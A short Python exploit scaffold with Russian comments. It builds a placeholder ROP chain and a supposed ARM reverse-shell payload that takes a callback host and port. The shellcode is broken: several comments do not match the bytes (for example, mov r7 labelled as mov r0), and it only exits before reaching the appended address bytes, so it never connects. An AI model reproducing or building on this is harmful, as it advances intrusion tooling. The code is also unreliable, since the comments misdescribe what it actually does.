import struct
import socket

def create_rop_chain():
    """Создает пример ROP цепочки.
    
    Возвращает:
    ROP цепочку в виде байтов.
    """
    # Здесь начинается магия ROP цепочки (ROP chain)
    rop_chain = b""
    rop_chain += struct.pack('<I', 0xdeadbeef)  # Пример адреса возврата (плейсхолдер)
    # Добавьте сюда больше шагов ROP цепочки...
    return rop_chain

def create_reverse_shell(cb_host, cb_port):
    """Создает полезную нагрузку для обратного подключения.
    
    Аргументы:
    cb_host -- IP-адрес для обратного подключения.
    cb_port -- Порт для обратного подключения.
    
    Возвращает:
    Полезный груз в виде байтов.
    """
    reverse_shell = b""
    reverse_shell += b"\x02\x70\xa0\xe3"  # mov r0, #2 (fork)
    reverse_shell += b"\x00\x00\x00\xef"  # svc 0 (системный вызов)
    reverse_shell += b"\x00\x00\x50\xe3"  # cmp r0, #0 (проверка, дочерний процесс или нет)
    reverse_shell += b"\x00\x00\x00\x0a"  # beq next (если родительский процесс, выход)
    reverse_shell += b"\x00\x00\xa0\xe3"  # mov r0, #0 (статус выхода)
    reverse_shell += b"\x01\x70\xa0\xe3"  # mov r7, #1 (выход)
    reverse_shell += b"\x00\x00\x00\xef"  # svc 0 (системный вызов)
    
    # Добавляем IP-адрес и порт для обратного подключения
    reverse_shell += socket.inet_aton(cb_host)
    reverse_shell += struct.pack('!H', cb_port)
    
    return reverse_shell